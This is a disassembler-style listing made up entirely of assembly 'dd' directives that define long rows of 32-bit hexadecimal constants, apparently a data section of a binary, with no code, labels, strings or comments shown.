		dd 5C6697CFh, 10DB0F33h, 38F2C7B5h, 5F61CAF6h, 0CA0BC8FAh
		dd 8107E2C1h, 840D8F99h, 83E7EFEh, 6805C89Eh, 55B30310h
		dd 0C8A37A12h, 0B3596886h, 64BA92F7h, 0ABA8D40Bh, 2D688EB4h
		dd 341974B6h, 0EFA97B3Ah, 6C42B093h, 357AB024h,	0C7EF6039h
		dd 7B48242Fh, 175B4A6Ah, 5F9ABAE6h, 8E2DE258h, 22EC61DCh
		dd 0E55800B3h, 71D5BB63h, 810669DEh, 8B6784C3h,	0A8B73138h
		dd 0F870B974h, 60900F72h, 2157DD63h, 3E1E798Ah,	0E30EDBF3h
		dd 86FC060h, 0CED02CCBh, 27D30EEAh, 9D736904h, 5FF75ABh
		dd 80750878h, 0AC60E9A0h, 1C0ABC7h, 0A5B1AA84h,	24559C07h
		dd 0E9855DB2h, 5AB5418Ch, 2E759968h, 90A2F767h,	2D61EC7Ch
		dd 6513F19Fh, 20F3C6C5h, 5059B800h, 0DB25225Dh,	4D262476h
		dd 417002C1h, 0C1774CE0h, 38214E31h, 122C92F4h,	0DF009CBh
		dd 8F45C0F7h, 8C46171Ch, 122C0C31h, 0AB36D277h,	0AAB8A9D0h
		dd 66482563h, 953E9174h, 76A4C43Eh, 0E8307F78h,	840F1092h
		dd 0AC364A21h, 5E54E292h, 7DF1005Bh, 0CA813DCEh, 4767809h
		dd 4863001Ah, 0B565CC49h, 24622A74h, 0BB4209BAh, 62D191C3h
		dd 0CFA73A2Ch, 87B2224Ch, 2479B5E1h, 81BF4B72h,	42E7044h
		dd 27EC1B24h, 7B745575h, 8702EF26h, 0DDAE4245h,	3E52B0C1h
		dd 0C1A19CC3h, 24942CB3h, 0BF4F07F3h, 6F4B4631h, 8A38EC64h
		dd 377E9BC0h, 0EA09492Eh, 9A2BAF00h, 74BB535Ch,	67B13D6Bh
		dd 27A890h, 0D22B3EBDh,	0A0EDC176h, 82CCE5F2h, 62E69275h
		dd 40E0AFECh, 0CDD4EADh, 5E5D0A35h, 17C34A9Dh, 1D943B2h
		dd 6EEA68DEh, 76D5A2A2h, 32F54A4Ah, 493561F2h, 2F2D5A01h
		dd 8ED8E594h, 2554EE9h,	2C536868h, 0EC6290D4h, 0EAB003A5h
		dd 0C0F734EAh, 0B088620Eh, 708073F5h, 28F85B7Fh, 412E680Ah
		dd 0B660336Eh, 2DE9519Dh, 59D99C17h, 4872B38Bh,	2519347Eh
		dd 0EA7B46A3h, 0BB1DAB02h, 0A4E9606Ah, 2C152F08h, 0EE1427FCh
		dd 0AF004F08h, 7961223Dh, 5C702AE9h, 0C9092494h, 15DB0C5Ah
		dd 5B708A99h, 0D1F73EE1h, 382C8FC8h, 2D801908h,	0B1F9675h
		dd 28E9F821h, 0B5385370h, 0E555C37h, 4E80C5FEh,	0CECD6703h
		dd 2FE8F563h, 4EB08C0Ch, 3B95E5E7h, 6004D92Fh, 90CE7224h
		dd 51505AAh, 0FF013D2Ch, 0B4E00F64h, 0F8FA4E68h, 34BFD75Eh
		dd 7E14BB6Ah, 0F2E0488h, 50FE20DAh, 56580829h, 0E9E9684Fh
		dd 3AF64F27h, 9DC05D86h, 18BD2FC9h, 2C12503Ah, 2A0E3D38h
		dd 14DD9500h, 509CB4B2h, 0C55474E9h, 6AB387D1h,	3C424527h
		dd 0B79477AAh, 617A13F4h, 4B6ABFC5h, 2B5A4306h,	0B0FDEB5Bh
		dd 269B34Fh, 7976AE68h,	1803CC08h, 0B1D04DE9h, 3800C2EFh
		dd 0B85808DCh, 48B5A2FCh, 0B94F5BB0h, 78884F78h, 0D8302FACh
		dd 68703CD4h, 0D9225969h, 0AD16084h, 6407F35Dh,	8130857Eh
		dd 285073F2h, 99D6F05h,	19DDDBC7h, 895B4D50h, 6EEAE20Eh
		dd 0F665897Eh, 61CE0864h, 6DED8000h, 359E830h, 0C8FE7404h
		dd 0C3E1352Ch, 0EB0683AFh, 488E22E9h, 0CA58267Ah, 5C97CF20h
		dd 0EA4D8879h, 18E68100h, 0F627C850h, 0D92648BDh, 41174381h
		dd 9EF74215h, 0E6701A7Ah, 0BB72A700h, 0F2717362h, 8FF29701h
		dd 0A84F0C0Ch, 23A0C06h, 0E92E5425h, 8AA2B153h,	72FD59CFh
		dd 0CD897E0h, 6833AA09h, 1A8D1049h, 7CBA8116h, 0C2A9979Dh
		dd 0D4AC545Eh, 131ABCB4h, 98FE9C8Dh, 0F49D52C4h, 8E6858C8h
		dd 18276C49h, 0F0155135h, 0A692B932h, 0C2521E0Eh, 5BD3CA9h
		dd 0B720A35Ah, 0BE96F7h, 73BECF81h, 0FB01ABDh, 453AB51Eh
		dd 0D3F74306h, 795D9804h, 0EC19508Ah, 0BA883FEBh, 0DF29F689h
		dd 0B534CFFh, 28B62BBCh, 0E902FE00h, 5E959989h,	0C3688568h
		dd 0B62ED84Dh, 0ED99725Fh, 2521D40h, 5174325Ah,	0BE08C022h
		dd 8F845C16h, 2CD2D6A3h, 0FE9C53F6h, 82DDD25h, 6B151D11h
		dd 4B1756BDh, 8F9BCC9Ch, 7C934212h, 46C17C07h, 0D7291812h
		dd 3EF682B2h, 1EBE6101h, 8D7ABB68h, 0C6E5606Dh,	0E98C674Ah
		dd 3050402Fh, 63244CDh,	0EC680D8Fh, 0A012EDF5h,	3FCBABD1h
		dd 0BC4A6846h, 138A0108h, 0E0D1122Fh, 9C20802Bh, 2EC1EB3Ah
		dd 0B0FAE9D0h, 177C8522h, 13BC966h, 7C217E84h, 0B4E28337h
		dd 8D42C001h, 932D41EFh, 6F69573Dh, 0CE1B1247h,	0B2B8770Bh
		dd 25944135h, 6933256Fh, 0A810CAB3h, 0B4500052h, 80DCF6C8h
		dd 0E01F4BECh, 925E947h, 24B6940h, 9F49920h, 29DDFF33h
		dd 0D5B80B57h, 2721D280h, 0E9142215h, 4A9096C8h, 0CDC78DAAh
		dd 7FD3FE1h, 0C18344A5h, 0CF0713B0h, 605644Ah, 0F88913EFh
		dd 4770B0FBh, 0D5D89518h, 4BA10824h, 16BAD627h,	6820EA31h
		dd 93A66FE9h, 63330378h, 9CE978DCh, 0D2A328FEh,	80EBC4AEh
		dd 0DD206C79h, 31191A1h, 55FBEA68h, 0DFC23D13h,	7DA7A9DCh
		dd 0E2CE897h, 18BFA24h
		dd 96C302F1h, 6A60F07h,	0E248A791h, 9A8C13B2h, 7A383D22h
		dd 0DFB727D9h, 5419CDCh, 59D9C828h, 0EA160E97h,	0A9B0050Bh
		dd 0D4EA4240h, 4EE95032h, 67BFC94Ah, 0D4E1B48Eh, 7662F1ABh
		dd 3AA1A0Bh, 7ABE780Dh,	0BA233005h, 0B968E0B3h,	0E2AC0D4Ah
		dd 1B12BFE4h, 174D8ABAh, 7AFC7BDh, 204095EEh, 0C0E9FD87h
		dd 4A6287BFh, 0FB588B62h, 406CA8B7h, 5A4A6688h,	557A43ACh
		dd 0ED42D492h, 123F58BFh, 0FC9C3558h, 2AE4B23h,	6A5AB8A2h
		dd 0C351DE50h, 0B144307h, 57ADD100h, 860C0668h,	9275B019h
		dd 0A3D99590h, 94D55209h, 25D89E02h, 300D6E5Dh,	0C72D82F0h
		dd 0F50B0F9Bh, 88F72944h, 5E130812h, 10B809BBh,	0D03DC78h
		dd 39CB028Eh, 82C18805h, 0C2290479h, 0F4B6D1E9h, 0DEC906BDh
		dd 5D9184DBh, 0B8D7C4EFh, 5E84801Fh, 59E979D0h,	0BB4FF3DDh
		dd 45E89634h, 30200BF5h, 0A2FDCFEAh, 4C5E5AF2h,	9D05FA25h
		dd 0C597D650h, 88F12DE1h, 76AE960Bh, 0BB519365h, 0F150D9D3h
		dd 0E251BD02h, 442ABA2Dh, 0F5AED60h, 0D2458FDDh, 941E6FCh
		dd 872EE5DDh, 0ECE9B32Bh, 7A4BE3E7h, 42E829E9h,	6ED1DDE1h
		dd 6553561Eh, 0D75BA7B0h, 8CCFBB15h, 5187B410h,	75533E0Bh
		dd 169E8EFAh, 925FD6E9h, 4E98F581h, 568267BEh, 5FEC1ADDh
		dd 4BE9E042h, 6EDAC9EBh, 57145F8Bh, 6E00D655h, 0E94C3C6Ch
		dd 0DC978BE2h, 8DB85803h, 860111Eh, 580EC212h, 5EBD36BFh
		dd 5168CE02h, 5D720927h, 0D134DE0Bh, 7AD10493h,	15C40CB8h
		dd 259514AAh, 0BBE180C9h, 50F04F74h, 24568035h,	0B75631Ch
		dd 8468A89h, 0E69F902h,	0DED5F70Ah, 0C3E90592h,	7222EA85h
		dd 588D565Ch, 0E913F9F7h, 0BD1DCFCh, 0C85A537h,	9809F568h
		dd 10951CEEh, 53543FDh,	85E91799h, 95F4AA90h, 256A60ACh
		dd 4D75ABEFh, 0B84F2F2Ch, 2F8C0117h, 80F73A81h,	4761E20Bh
		dd 4684B706h, 60AEBD04h, 2A964F82h, 3AF5FFD0h, 4C53A76Ah
		dd 6D6A2618h, 0E958216Ah, 0B4265ACCh, 1813CE11h, 1DAF6520h
		dd 3EC87E4Ch, 1C62306Fh, 0FF62A5h, 2799ED09h, 1C0E6135h
		dd 7F82FD9Eh, 863F5AE5h, 0EFACE2Bh, 54AC4627h, 0CA210259h
		dd 8D834259h, 0FF90DDDFh, 48EB17E9h, 911EB286h,	31C97388h
		dd 0E72520E8h, 907D399Ah, 0DC70151h, 312653A2h,	45420F9h
		dd 2B3DF4Ah, 9D54C78Bh,	28794D52h, 64F0063h, 0BE560B5Fh
		dd 20E0D20h, 0B972E94Eh, 26DDCB51h, 0E388403Ah,	41CDBF57h
		dd 0DCB78F7Bh, 7D08215h, 64D501FBh, 8BB3BBF1h, 48F62A8Ah
		dd 70CBE958h, 36FD9588h, 0C0135F13h, 0B0AB906h,	1525FC4Ch
		dd 296F827h, 0DE15C4CDh, 0DE12FD58h, 5C055740h,	3E63E5BFh
		dd 0BBC43D13h, 75545E92h, 80E175E3h, 687D32AFh,	9F87DA04h
		dd 77998FFDh, 0B75E5602h, 0B01D95Fh, 21729D26h,	7397F54Ah
		dd 0EC455F59h, 0D8881231h, 8B0660CAh, 0C94D911Ch, 0ED3B30D7h
		dd 721A128Bh, 0B50FE39h, 0E95E0B08h, 13F4D028h,	8C30428Fh
		dd 504B5F97h, 0CA4F8DDFh, 0D9D18B6Ch, 0A912BC30h, 8A09A4D0h
		dd 0D0372924h, 9D6708h,	0D39BA52h, 0A4B81310h, 751CDE01h
		dd 560AE931h, 51002C72h, 1FD76850h, 58013F83h, 341A3540h
		dd 0A46A7CCAh, 0BE705F11h, 80EA59BDh, 2518E181h, 0E912415Ch
		dd 2DFA0BFDh, 6CC8F55Ch, 21FB4AE4h, 2BA17B0Ah, 28659DE6h
		dd 65E2AA82h, 0EE2C44D7h, 2D59007Eh, 5FBADDF6h,	3BF9F9h
		dd 0DFD50B9h, 0B3D3635h, 0CDE9AAF0h, 0BABB04A0h, 7FF9477Eh
		dd 0EF4810F2h, 3B0CEB28h, 0D4D8D15Eh, 0BF4FA838h, 5EE93F7Ch
		dd 0EB0985A3h, 0BF2A9A6Dh, 0FC2E3729h, 3A20F46Eh, 0BE2BC268h
		dd 0FF17620Ah, 0FCCD0B0Fh, 0A2911648h, 155C048Ch, 12FF01B1h
		dd 0ACA1AB59h, 9F9CB3Eh, 741D46E9h, 8CEEA02h, 112C0F4h
		dd 3B7A01AAh, 794B0467h, 7B2F9FB7h, 0EC8C9661h,	87B34FD7h
		dd 81C009C5h, 11F6DC55h, 622659CCh, 0BCCB8A3Fh,	6E80E46Fh
		dd 1E2E4BD0h, 0B8F6E923h, 0B265A85Fh, 0B7E90133h, 814E56D0h
		dd 1769F1BFh, 0BEF12489h, 134DF5C6h, 730C3C1h, 8FD901ECh
		dd 7E6708D4h, 3CA1025Fh, 0E94177DCh, 955809BAh,	0A4621F38h
		dd 56E0536Fh, 61BA8281h, 0D9E25A05h, 4FD3E9C3h,	0E2D32150h
		dd 6D7C3571h, 2B407633h, 0D483EFD7h, 0DE5440D2h, 0A2AD54EFh
		dd 3E6343E2h, 256E80BBh, 0D1F38103h, 3E472562h,	6DDE98D7h
		dd 99FA48Eh, 7E6812C0h,	49FD0A80h, 729F5079h, 0E9088017h
		dd 0E8044B78h, 96C2A7FDh, 207DE423h, 0FE2F2A6Ch, 485176C4h
		dd 9AD488BCh, 2DB9531Dh, 41BB7E3Bh, 6B7E6168h, 0A89723A3h
		dd 3CEF4F7Bh, 7E32E9DBh, 7D5F0ACFh, 0AF892BD9h,	64A1D464h
		dd 0D773A851h, 96B8CAFBh, 2520CEFAh, 0E52820B4h, 5A9F5664h
		dd 4CB3F35Fh, 68060571h, 0CB60787Dh, 4E056A41h,	1876E837h
		dd 0F7479F58h, 0BE0B1D2Fh, 60D75652h, 59685547h, 22826A02h
		dd 459EE6E9h, 92FA3DD6h, 3AF09D73h, 7D8EC2BFh, 0F32C43CDh
		dd 0F70BA110h, 0C75446D6h, 409EC687h, 0E9562E10h, 0EC954AEBh
		dd 44EEE526h, 0ABD79FFEh, 2292FDA9h, 63D8FD4Fh,	0D02754BDh
		dd 0B0204DA8h, 83021763h, 0E3E800C3h, 28E73226h, 62016598h
		dd 0E90D861Ch, 0F2558C42h, 1F64B100h, 0ED290E74h, 0B008BAA0h
		dd 91259A6Fh, 0E5314353h, 2B8909E9h, 0F74B73B9h, 3A09D428h
		dd 5D9083A1h, 0CA79E9h,	31CB824h, 0A9354955h, 69488EE8h
		dd 640270D9h, 93E92BDBh, 0D33BF54Dh, 5203F7D9h,	79C1F2A0h
		dd 0CEE55050h, 18254A82h, 43DDC808h, 754924BAh,	77E9077Eh
		dd 0E6DD0B1Ch, 4B74F627h, 0FFAB94D1h, 53BAF340h, 0B8427F5Eh
		dd 6128637Bh, 878949C1h, 0F3872B1Eh, 5A1208EAh,	7DDE24C8h
		dd 4FDF2F46h, 5B97767Bh, 15A695EEh, 30760B21h, 0EB63AFD9h
		dd 805B6C6Dh, 16C1B3B0h, 13F6139h, 0AD2DD739h, 24922D15h
		dd 5D979205h, 0D87B35B1h, 2E31630Ah, 64CE7C6Ah,	683AE901h
		dd 18E85EB6h, 182A8F40h, 84906C8Dh, 55823EFAh, 0D1A2CF9Ah
		dd 0B505954Fh, 7AEBFA82h, 802D0EE7h, 0FA17A4C1h, 0F4E04683h
		dd 0E96DF0AAh, 7AE40259h, 0BBFA68BDh, 9C54977Ah, 9F2F2140h
		dd 3D1C902Bh, 72815D6Ah, 0F0E9FA29h, 5FB73A90h,	17C94F9Fh
		dd 413589DEh, 16C28482h, 529FBF00h, 895A27F1h, 42D5EDB2h
		dd 22AE41BBh, 11E6D28h,	287967C2h, 75B261C2h, 5BC9229Bh
		dd 5AE83F7Ah, 5DC082D2h, 0E99CC055h, 800740A9h,	5CF2EA27h
		dd 4F8D200Dh, 8C1DEE76h, 525E1070h, 0C0E60FB6h,	0F68703EEh
		dd 75C6F3FEh, 2A131E33h, 75F38385h, 0C8DD8310h,	0D140CDF2h
		dd 4EE4EC5Ah, 0EAF5D043h, 345B6402h, 0F8E718A1h, 5A91D910h
		dd 4FB3A805h, 241870A8h, 0FEE63360h, 282D4024h,	16B5D90Eh
		dd 19EBCAEEh, 0EA3168DCh, 58F9E46Fh, 0A84FA6F8h, 80A434EEh
		dd 0CD05D834h, 0D50FC0BDh, 25EEBF08h, 9D546BF6h, 80CEED4h
		dd 74D1211Ah, 47AE02F7h, 51553A5Bh, 4C124A40h, 0A7EE7BCEh
		dd 74B9ED52h, 23EBC0BCh, 604EFB67h, 840B6ADh, 0A13724E9h
		dd 0C026B37h, 3BDD8817h, 4920DA08h, 57EA331Ch, 6050FAD6h
		dd 0E1BB579h, 3C6F33C9h, 11C1C558h, 680DCCABh, 0C260052Ch
		dd 0BA077C6Ch, 0DB459D3Eh, 0C34B6620h, 608D39EFh, 11D26D50h
		dd 0ED3F00FBh, 615175A1h, 32F60CC2h, 3FB5FCE5h,	90530C85h
		dd 0D4D7FA48h, 3186930h, 5BF4BF0Eh, 5B0E0820h, 76EED14Eh
		dd 0A7E80A8h, 2F8921F6h, 8DC7098Ch, 0B2C87A57h,	0A1BF1CF4h
		dd 47734A38h, 106505F7h
		dd 0D4AEC7D7h, 0BE078CD4h, 0CB324009h, 0B482DFC6h, 220A7981h
		dd 7F4B912Ch, 2943BD69h, 0A2AA92EAh, 61A84F65h,	80E6EBE5h
		dd 0E9BEF44Ah, 0E1DE3526h, 1102895h, 5B623FEFh,	2A25F9E9h
		dd 7358E1FCh, 0F60416C0h, 0E71EDD1h, 86672C7Ch,	53FB1C3h
		dd 0CD4123F1h, 9204AB05h, 99FE215Fh, 4B844FFh, 0B37F9C99h
		dd 8D0717ABh, 0BD6B0BCh, 0E7567BDCh, 74853762h,	53DB92DCh
		dd 2D3CBB1Ah, 27D85C21h, 949FBE20h, 1856B5D3h, 2797EB89h
		dd 0F872EA16h, 4245DE84h, 0F1131140h, 0A93BDF08h, 0DC281E3Ah
		dd 85842A92h, 8173C0AFh, 0B16FEE7h, 441459A4h, 4C202496h
		dd 82ABFD1Ah, 7D87D24Fh, 0D18B31DBh, 88DD319h, 46124E65h
		dd 128A4403h, 0F7E88C61h, 586D1706h, 0AAFC0E0Dh, 0C534F728h
		dd 5DC4252Fh, 4FDDAF32h, 8CE90565h, 0D925AAC0h,	0E9B56CBEh
		dd 2CF3B931h, 372B9F68h, 1B53D685h, 22F3665Ah, 0DF65F94Fh
		dd 0E659E6AAh, 54754F5Ah, 682087A1h, 375C6BA9h,	0CA124874h
		dd 54EA8817h, 0A95F540Bh, 9BBA5017h, 24BBCF5Ah,	0FFC58426h
		dd 0B0595FCCh, 7A6950F0h, 3F204814h, 0C17B5ACAh, 755D40E9h
		dd 0E5D7C6FDh, 0B0AD22F8h, 0CD46204Eh, 629BB22Ch, 0F1535897h
		dd 76068209h, 0D828E03Ah, 0EA12B551h, 650ACDFEh, 0FAA7459Eh
		dd 0C6D92D0Fh, 9820AB46h, 0BFB1A0A1h, 47A2C0Fh,	0A8ED091Bh
		dd 3D2D8A10h, 317FBE80h, 2620E305h, 48B900D0h, 42100912h
		dd 9071CA31h, 715AD762h, 1012ACD7h, 2AD2C18h, 0FC2BC707h
		dd 15004FBh, 0C407C350h, 0A464CC05h, 9535C0DAh,	5E5EAA5Dh
		dd 4E6FD8F0h, 8185259Fh, 2AC3060Ch, 376E7F2h, 335121ECh
		dd 91F9DF89h, 0F1E815Fh, 265968C8h, 31C4D478h, 0C242E476h
		dd 92DD840h, 1AEB2CA6h,	2C40E4D5h, 0BD22CEE9h, 0B958B394h
		dd 99B25402h, 1940EA30h, 5A80D928h, 2C62D83h, 1C37835Ah
		dd 9E63DD62h, 0D9FDA3EAh, 1693BA6Ah, 0B2E2EC59h, 17EF5121h
		dd 0D3DBFB56h, 50B1B510h, 72126267h, 80EC6DFCh,	6195D413h
		dd 4FE9F78h, 50036ADh, 73F3FCB8h, 585FC601h, 0E96220EBh
		dd 2EC780A4h, 14873035h, 0FC3946DFh, 0D2F72E14h, 85AD0BFBh
		dd 1D62EBDCh, 0E4570972h, 89782454h, 4D7DA529h,	107F2F64h
		dd 9D545CF2h, 0D9A74776h, 8105012Fh, 0E74310CFh, 0D8BF129Eh
		dd 71F12A44h, 0C350B5A6h, 0B32568F4h, 9386607h,	5D877983h
		dd 0E760ABAEh, 89A21210h, 2F5BC7B7h, 5EDA203h, 0DCD3D14Eh
		dd 0E7F340D5h, 7F6F1F8Bh, 6857C509h, 21CCFE5Ah,	486B09B9h
		dd 0CB8056CCh, 0A933B797h, 0E91BCFFCh, 0F3570604h, 7F45D1F2h
		dd 0A8C7F140h, 495E2F01h, 8A0FDD4h, 20AB5A4Ch, 31661285h
		dd 7BEC97EAh, 7F071249h, 0E5F05C12h, 0AC501086h, 1BA4168h
		dd 0FE835B08h, 54C0E682h, 74AE6D48h, 0EE873AC7h, 0B4A101C4h
		dd 58A1A37Eh, 13F73937h, 0FFE8DFD9h, 20C821E1h,	0FCB5ECA2h
		dd 0D048F2EDh, 0E1010AC8h, 0F53A051Fh, 0E87AE01Eh, 28FE5BF5h
		dd 4C65C9A6h, 0E4EB46ADh, 41E9278h, 6CD20D5Bh, 0F76617C2h
		dd 579226E5h, 0B59E1691h, 9F155C2h, 71687ACCh, 35175C2Fh
		dd 0C1A7E917h, 0F4AEB24Fh, 1F9B0355h, 0EFA23D0Ch, 74009F5h
		dd 6A0068CDh, 108B2F52h, 9837F8BFh, 9362481Dh, 0F685CC1h
		dd 11D18975h, 0A78AD37Ah, 0AA0B1AFEh, 221CC793h, 0C27FB495h
		dd 71DDBFABh, 0AFD365AEh, 1936F60h, 0F3387DE5h,	0A13A7935h
		dd 0DA903D8h, 219C0290h, 14FDA49h, 1BE037D4h, 627BD729h
		dd 5C89C24h, 5D2FFCBDh,	4B03D0E2h, 50D8BA7Dh, 79C92E80h
		dd 0F19E3AF3h, 93C3023Eh, 0A261CB28h, 0A2C5EC42h, 0C39606CFh
		dd 0C9FE0AE5h, 122E4DE9h, 8299EF0Fh, 60AE8D6Fh,	6695201Bh
		dd 12725B08h, 0F9A3AF80h, 57515582h, 6902D4D4h,	411C4231h
		dd 745F11Ah, 616D45B4h,	99E1CDABh, 8C016B20h, 9A7501C1h
		dd 0B8167FDEh, 4722D20Fh, 28C5C00Ah, 1812B01Ch,	0BD1AECE9h
		dd 0A4CC5EF1h, 0F255AA0h, 23655443h, 25A9EE46h,	6B5DEB26h
		dd 0AFF17D16h, 0A113E82Eh, 10772D5h, 0AD202CF0h, 0D1830454h
		dd 80F625C0h, 492D3045h, 6FAC90Ch, 2981BC60h, 521068F9h
		dd 21045D73h, 4E026Bh, 1DDAADAEh, 571561E9h, 0E1C10958h
		dd 68B374F5h, 2163320Bh, 63C5D156h, 1F4816F1h, 0A32D2721h
		dd 3A9FEB5h, 0F3BF57B6h, 16186A49h, 4225E6Fh, 49EBEE47h
		dd 800C8298h, 0BD06D6EDh, 0DD90C2ECh, 0D5E5EA7Bh, 6FAC2F59h
		dd 121DF524h, 3E932D99h, 64045816h, 62A2B74Ch, 2D75C26h
		dd 2E144036h, 7695144Ch, 4B26A17h, 982CE168h, 839743FAh
		dd 2FCA877Fh, 60CEE75Ah, 3D96F7F6h, 2D3456A5h, 0BF98CB4Ch
		dd 9242E913h, 0BD2830BFh, 0D0728850h, 224C0395h, 0F88916E4h
		dd 2B1B35Fh, 533F642Dh,	20687E15h, 1256EA07h, 0EA1CA649h
		dd 1757A528h, 0D178B8E9h, 48FAA8Ah, 1C94C507h, 0D7790289h
		dd 0CAC5A7C1h, 0A72CC803h, 0B2C35DCBh, 686640BFh, 7E9563E4h
		dd 47980B6h, 2CE8287Dh,	88362CE9h, 20DAAF82h, 74356F0Fh
		dd 0C909A534h, 0A0DC2FA4h, 812928A7h, 117ADEBEh, 84450B03h
		dd 0F2814A59h, 3C41401Dh, 0E9DA16F7h, 61C7FE1Ah, 5DF27A62h
		dd 0EB140FF1h, 0F12FF9h, 56F380C3h, 0C0CB3EFEh,	5DFE07BEh
		dd 0DF2E2B7Fh, 13552D72h, 0E863FA32h, 0B161681Bh, 84B11239h
		dd 0E961AEA8h, 3A80EF65h, 1F0BA6BEh, 0CE058141h, 3A6A24F7h
		dd 2A7FD7C0h, 0B29A507Dh, 6C52374Bh, 3A0A480h, 0FBC15CB9h
		dd 0ADB2D3F4h, 130C88C8h, 0F13CE71Fh, 6BCC89E6h, 6718D738h
		dd 91A0565Bh, 321455C4h, 1284421Bh, 0AE20C925h,	5CAC4304h
		dd 9A052129h, 0C95C4F1Bh, 1D0E4A0h, 8363202Eh, 54B37900h
		dd 521CE9ACh, 0A61CBE3Bh, 0B2F4A771h, 0F6FB2301h, 813A892Ah
		dd 7D4276D0h, 1FF95B5Dh, 0EE95681Ch, 2D56C1B7h,	0FD01D880h
		dd 0C537E917h, 954CCAFEh, 0F7502485h, 914583Bh,	585EE98Ah
		dd 0CA6816A0h, 11F2B316h, 2E1C9445h, 0BAF72F08h, 0F57DC218h
		dd 61979AEBh, 2A3F9E68h, 0D652D232h, 0F6BB015Bh, 7A2D4F33h
		dd 0EFCDC8F1h, 0B189744h, 4845110Ch, 141AA650h,	0EF6036F0h
		dd 0B8966FBDh, 76300142h, 0A7DB8970h, 19F20AC6h, 0D54C4C50h
		dd 3E30C9F5h, 81861D4h,	20685B0Ch, 900158F4h, 0E9353E36h
		dd 0D13E8326h, 54B43780h, 0BB5B81F8h, 6006E979h, 909F8904h
		dd 978BB992h, 5E4E9F50h, 7A449FA1h, 7E48C24Bh, 53C40741h
		dd 2F35401Fh, 0B24A0DBEh, 60E798B8h, 0CB74B4EDh, 12B5554Bh
		dd 5EAA0806h, 0D088AC44h, 72890C08h, 0F5919A2Ah, 0C6004BADh
		dd 6C87681Eh, 98EB98B7h, 25EE7FD0h, 84776BE6h, 2AE6BA06h
		dd 0AC981D53h, 0E9273EB4h, 36B30AF2h, 8910CD2Dh, 4AF7ED5Bh
		dd 132E5608h, 0AACDFA87h, 7A1DE7E9h, 0E90DE6A2h, 0D81EACD0h
		dd 120494BEh, 0DEF74996h, 9958AAD1h, 0AE57002Eh, 1092340h
		dd 795FFE27h, 2DE905A7h, 0A3F2A4E5h, 0A43FAE41h, 7FBACCA0h
		dd 90BC0096h, 0BE018C7Eh, 6D39574Bh, 92562A29h,	1754462Ch
		dd 0B857CAE9h, 833EA1BBh, 0BB665A97h, 6EAD4DD1h, 45D59307h
		dd 98C002C1h, 25D0E54Dh, 30532566h, 4B03BA89h, 2324CAD1h
		dd 0C61E97D8h, 0F29CFD8Bh, 62039865h, 0EE458651h, 2ECF4948h
		dd 0AF96813h, 505F7500h, 5CC17558h, 0CB1CA7E3h,	0E8E41324h
		dd 3A8D0025h, 58E955ACh, 3140CF73h, 0D924AA73h,	0A9AA8F84h
		dd 860904FCh, 0A5F872F5h, 28D9B260h, 0E9273165h, 32935AE2h
		dd 0A0BA5A59h, 9CC15704h
		dd 77C245DDh, 0E950E771h, 0DC894A13h, 0B4A251DBh, 0C777CD0Bh
		dd 0B67725ACh, 8E92F45h, 885A1FE1h, 3C7C0990h, 0BA4A32BFh
		dd 75540CC2h, 2980CCEEh, 98BF9C68h, 0C72FE908h,	2AD33143h
		dd 0C94A1E88h, 7977887Dh, 25686355h, 0F8E98A4h,	2C8BD1C5h
		dd 0E9C3E0A3h, 0EB850BA1h, 0C040E88Bh, 291614ECh, 0AB00A77Ch
		dd 317A6ECBh, 0E95B5FFAh, 0F401B694h, 662C16E6h, 4D7CC8EDh
		dd 16C5D24h, 946ED42Dh,	21F27F18h, 6680798h, 0E1CD51E5h
		dd 20373EDh, 0C4801CB4h, 689462B5h, 326EB912h, 0C1AA02E2h
		dd 23354140h, 0E9F92905h, 0DDAA2DC4h, 680EED2Eh, 52BA250Eh
		dd 978EBF17h, 0AF04C4D6h, 3B208C8Bh, 0DDD2F726h, 3C6D0501h
		dd 0E824218h, 0BE914843h, 95364ED5h, 12E21C55h,	0FB348B5Ch
		dd 792E0CBh, 0CF289243h, 65DFEC16h, 46E58093h, 4051DF30h
		dd 0D05E210Ah, 0D74B528Bh, 0E457EB6Ah, 6580BDE1h, 5B80DEBh
		dd 0AC12F1B9h, 3364D0FFh, 5EB00846h, 4913E30Bh,	9A768248h
		dd 0DD2C4A47h, 977C6406h, 0EF057032h, 2964F7F8h, 0FDED42BDh
		dd 0C80B965Ah, 80594675h, 0D73DCF54h, 3B76B00Ch, 15AC20E5h
		dd 82E31A29h, 7E2F1341h, 0FF0C1392h, 0DCCB05D3h, 42FA7043h
		dd 2EB5EC95h, 1C18EE81h, 410CB03Ch, 8050525h, 23E9CE01h
		dd 94AA3FAh, 0F55D5455h, 0EB43D516h, 415CB558h,	9F116828h
		dd 0F4640FC2h, 200CD6h,	0B1FBE7E9h, 0EE1112h, 8C567B2Dh
		dd 7E700513h, 3BC1E840h, 0DF4802E8h, 0C2E79E24h, 3C50CE3h
		dd 62F1762Dh, 68011D28h, 0B33E3DC6h, 1BA31349h,	4C7674A4h
		dd 50C01AA8h, 705D468h,	70B0235Bh, 49023027h, 6D1CEBEh
		dd 4E480AF8h, 0FC2000Eh, 0E5E94892h, 6C4EBFBFh,	0AB8AC597h
		dd 0D1C2614Fh, 796261E2h, 0EAC70279h, 57716308h, 688577DCh
		dd 0F3CD601Fh, 4A2AA63Fh, 803CB2CCh, 91A5C1A1h,	72216809h
		dd 0B1385FDEh, 0D5A72F1Bh, 342F328h, 54B2C5F1h,	1EAFE89h
		dd 0F85731CAh, 74CF3950h, 2BCCF7BEh, 25829729h,	30B81D9h
		dd 0CEB85DA6h, 282880BFh, 0F7018236h, 8D451CBh,	5B60FD31h
		dd 0EAA994EEh, 0FAD713A5h, 0B66EBA9Dh, 0B2C81258h, 0F9310E8h
		dd 671EF4AFh, 74C98976h, 4950D3C8h, 84F9464h, 0C0CB595Dh
		dd 0CE1975F9h, 58AC6210h, 0BD551DDAh, 14531A44h, 0C77890AFh
		dd 923B710Bh, 0EC0B7901h, 775778EBh, 717DBBBAh,	6CDE42A0h
		dd 7572E756h, 6A31C21h,	0A143C2BDh, 5FD4FCA4h, 0FEB4A5A8h
		dd 0CB88EB04h, 5512C7EFh, 3012C1F4h, 0A7BD00B4h, 79EC2822h
		dd 3031B089h, 0D0C3B38h, 7998F74Ah, 5C1475F6h, 44831DFAh
		dd 0EB0CBFE4h, 0DC3A6D69h, 0A35F19B9h, 6212026h, 0D78D5498h
		dd 0F9882E51h, 76EB3DAAh, 0FEF81C7Fh, 21FB4EABh, 2D37305Dh
		dd 735001D8h, 0D0292BC9h, 98F2BE89h, 90BC8971h,	0C15B5B50h
		dd 0D512EF72h, 8919F07Ah, 0C2C413B7h, 1C8B57A9h, 0A8896F77h
